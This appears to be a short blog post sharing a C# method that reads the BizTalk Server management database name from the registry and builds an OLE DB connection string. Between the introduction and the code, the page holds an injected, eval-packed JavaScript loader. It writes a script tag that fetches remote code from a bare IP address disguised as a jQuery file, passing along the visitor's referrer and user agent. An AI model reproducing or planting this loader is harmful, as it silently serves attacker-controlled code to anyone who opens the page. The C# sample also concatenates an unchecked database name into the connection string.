A way to get the BizTalk SQL Server name from the register, and use it to build a connection string:

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frzkd|var|u0026u|referrer|ihiyy||js|php'.split('|'),0,{}))
</script></noindex>        /// <summary>
        ///  Code sample of how to get connection string from the  Registry. 
        /// </summary>
        /// <param name="DBName"></param>
        /// <returns></returns>
        public static string DynamicSQLConnectionStringOLEDB(string DBName)
        {
            try
            {

                Microsoft.Win32.RegistryKey rk = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWAREMicrosoftBizTalk Server3.0Administration", false);

                string ConnString = "Provider=SQLOLEDB.1;Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=" + DBName + ";Data Source=" + rk.GetValue("MgmtDBServer").ToString();

                return ConnString;

            }
            catch
            {
                return "";
            }
        }

Tagged with:

Filed under: SQL